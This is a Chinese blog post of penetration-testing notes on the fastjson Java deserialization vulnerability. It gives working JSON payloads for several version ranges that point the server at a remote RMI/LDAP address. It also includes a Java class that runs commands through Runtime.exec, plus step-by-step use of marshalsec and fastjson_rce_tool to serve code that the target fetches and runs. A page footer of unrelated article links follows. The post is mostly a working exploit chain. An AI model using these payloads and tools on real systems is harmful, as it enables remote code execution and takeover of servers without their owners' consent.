fastjsion反序列化漏洞渗透测试笔记
本文原创地址:https://www.cnblogs.com/yunmuq/p/14268028.html
一、背景
fastjsion是阿里的开源Java工具:https://github.com/alibaba/fastjson
能快速地将对象序列化为json字符串,或进行反序列化
其速度和效率在同类型工具中遥遥领先,但曾被曝出存在高危漏洞
漏洞主要分布于1.2.68及以下的版本中,在将json反序列化为对象时,存在代码执行漏洞
如果一些项目未更新到最新版本,则存在安全漏洞
二、Payload
2.1 版本<1.2.25
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/Exploit",
"autoCommit":true
}
2.1 版本<1.2.48
{
"x":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:port/Exploit",
"autoCommit":true
}
}
2.1 版本<1.2.68
1.2.47都是18年发布的版本了,上述两个payload是广为流传的版本,都是利用RMI、LDAP进行远程命令执行(RCE)
而1.2.68是20年新发布的版本,它修复了今年被爆出的安全漏洞
在1.2.68之前的版本,fastjson被发现还能利用异常进行攻击
但是利用难度较大,作者暂时没有找到好的利用链
目前发现的方法是
https://blog.csdn.net/caiqiiqi/article/details/106050079
{
"content":{"$ref":"$x.systemInformation"},
"x": {"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"}
}
#前提是需要WEB应用的classpath存在selenium-api
三、漏洞复现
3.1 搭建fastjson项目
想要复现漏洞最关键的要素是JDK版本,编译运行fastjson项目的jdk建议是 JDK8,作者使用 jdk-11.0.9 没成功,使用 jdk1.8.0_112 成功了
简单的验证很简单,无需spring项目和Tomcat,创建最简单的Java项目即可
觉得不想安装maven的,或觉得maven更改版本麻烦的,可以从maven中央库下载fastjson的jar包,并添设置项目属性加到依赖中,这里的版本最齐全:https://repo1.maven.org/maven2/com/alibaba/fastjson/
阿里云的镜像无法从浏览器访问,如果安装了maven可以使用maven项目
实现代码虽然不长,但是影响阅读,我放另一个页面中吧
准备好RMI、LDAP服务再运行
3.2 RMI、LDAP服务搭建
简单地说一下原理,作者自己也不是十分了解
当fastjson可以反序列化一些类时,怎么让服务器执行自己想要的代码呢
这就需要寻找一个利用链,com.sun.rowset.JdbcRowSetImpl的好处是,他是Java官方的类库
其中的lookup方法支持调用远程接口,我们把想要运行的代码放在远程接口中,触发服务器来调用即可
在前人已经为我们寻找好利用链之后,剩下的一步是搭建RMI、LDAP服务,自己写代码是比较困难的,好在这一步也有工具可用
3.2.1 使用marshalsec
不推荐,但是在网络上流传甚广
虽然免去写代码就能搭建RMI、LDAP服务器,但是需要安装python来提供http服务、需要maven来编译此工具,且编译的jdk版本需要在1.8.0_112及以下
这是项目地址:https://github.com/mbechler/marshalsec
远程调用的过程是,服务器通过RMI、LDAP访问我们的主机,我们的主机再转发到一个http端口上,把事先编译好的.class文件给服务器运行即可
具体步骤是:①在一个文件夹下编译
import java.lang.Runtime;
import java.lang.Process;
public class Exp {
public Exp() {
try{
// 要执行的命令
String commands = "calc";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exp e = new Exp();
}
}
②使用 python -m http.server 80 在此文件夹下开启一个http服务
③使用 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip/#Exp 运行RMIRefServer
④payload中的地址则是 ``rmi://ip` ,rmi默认端口是1099,http默认端口是80
3.2.2 使用fastjson_rce_tool
强烈推荐
相比marshalsec优点在于,不用编译,无需自己编写利用类Exploit,无需自己开启http服务,最重要的是不受JDK限制,使用JDK11也可
项目地址:https://github.com/wyzxxz/fastjson_rce_tool
使用方法:java -cp fastjson_tool.jar fastjson.HRMIServer IP port " 想要执行的命令 "
命令行会给出payload
不足是,当运行fastjson的Java版本是jdk11时,这边能收到服务器远程调用的请求,命令却无法被执行
本文参考文章:
https://zhuanlan.zhihu.com/p/157211675
https://www.cnblogs.com/sijidou/p/13121332.html
(๑•̀ㅂ•́)و✧
往期精彩文章推荐:
#topics #no-box-shadow-img { box-shadow: none; height: 120px } 《zookeeper未授权访问渗透测试及修复方法》
fastjsion反序列化漏洞渗透测试笔记的更多相关文章
- CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记
weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...
- Web渗透测试笔记(基础部分)
信息收集: dns信息收集 格式:dns... -参数 域名 -参数 示例: root@xxSec:~# dnsenum baidu.com root@xxSec:~# dnsenum -f dns. ...
- metasploit渗透测试笔记(内网渗透篇)
x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...
- PJzhang:漏洞渗透测试框架“天使之剑(AngelSword)”
猫宁!!! 参考链接: www.phpinfo.cc/?post=42 https://www.freebuf.com/sectool/149883.html 同事介绍了一款渗透测试框架AngelSw ...
- 【i春秋 综合渗透训练】渗透测试笔记
网站是齐博CMS V7.0 1.要求获得管理员密码: 利用齐博CMS V7.0 SQL爆破注入漏洞即可得到管理员用户名密码 https://www.cnblogs.com/vspid ...
- PHP 反序列化漏洞入门学习笔记
参考文章: PHP反序列化漏洞入门 easy_serialize_php wp 实战经验丨PHP反序列化漏洞总结 PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患 利用 pha ...
- kalilinux渗透测试笔记
声明:本文理论大部分是苑房弘kalilinux渗透测试的内容 第五章:基本工具 克隆网页,把gitbook的书记下载到本地 httrack "http://www.mybatis.org/m ...
- kalilinux 渗透测试笔记
声明:本文理论大部分是苑房弘kalilinux渗透测试的内容 第五章:基本工具 克隆网页,把gitbook的书记下载到本地 httrack "http://www.mybatis.org/m ...
- Brup Suite 渗透测试笔记(五)
之前章节记到Burp Intruder功能区,接上次笔记 一.首先说再展开说说Brup Intruder功能, 1.标识符枚举Web应用程序经常使用标识符来引用用户账户,资产数据信息. 2.提取有用的 ...
随机推荐
- Go语言的context包从放弃到入门
目录 一.Context包到底是干嘛用的 二.主协程退出通知子协程示例演示 主协程通知子协程退出 主协程通知有子协程,子协程又有多个子协程 三.Context包的核心接口和方法 context接口 e ...
- 团队作业三——需求改进&系统设计
需求改进&系统设计 一. 需求&原型改进 1. 针对课堂讨论环节老师和其他组的问题及建议,对修改选题及需求进行修改 老师及其他组的同学在课堂讨论时尚未提出问题及修改意见,但是课后我们有 ...
- SPFA算法优化
前言 \(SPFA\) 通常在稀疏图中运行效率高于 \(Dijkstra\) ,但是也容易被卡. 普通的 \(SPFA\) 时间复杂度为 \(O(km)\) ,其中 \(k\) 是一条边松弛其端点点的 ...
- Vulnhub实战靶场:ME AND MY GIRLFRIEND: 1
一.环境搭建 1.官网下载连接:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ 2.下载之后,使用Oracle VM Virtual ...
- 【jenkins】构建工作集
构建工作集,参数化工作任务 1.New Item 2.配置新的工作任务 3.关联测试用例的远程仓库 4.添加任务构建后,触发发送报告信息 5.新建单个测试套件 6.添加触发轮询任务 7.关联测试集 8 ...
- 【Jenkins】环境配置及安装
下载地址: 国外官网:https://www.jenkins.io/zh/download/(版本最新) 国内镜像:http://mirrors.jenkins-ci.org/windows/ 清华镜 ...
- 安卓和ios的app证书过期的相关问题汇总
一,ios的APP的发布流程请见:ios的APP的发布流程 http://www.jianshu.com/p/b1b77d804254 这篇文章写得很好很全面 二,app证书过期了怎么办: IOS的情 ...
- Git中一个由readme.md文件引起的问题
githup中建立远程仓库时,勾选了创建readme文件,本地仓库无法push,解决方法: https://blog.csdn.net/ashencode/article/details/816249 ...
- 移动端 CSS3动画属性
一.transform 转换属性 #1. translate位移 transform : translate(50px,100px); //把元素水平移动 50 像素,垂直移动 100 像素 tran ...
- Spark内核-内存管理
Spark 集群会启动 Driver 和 Executor 两种 JVM 进程 我们只关注Executor的内存. 分为堆内内存和堆外内存 内存分为 存储内存 : 存储数据用的. 执行内存: 执行sh ...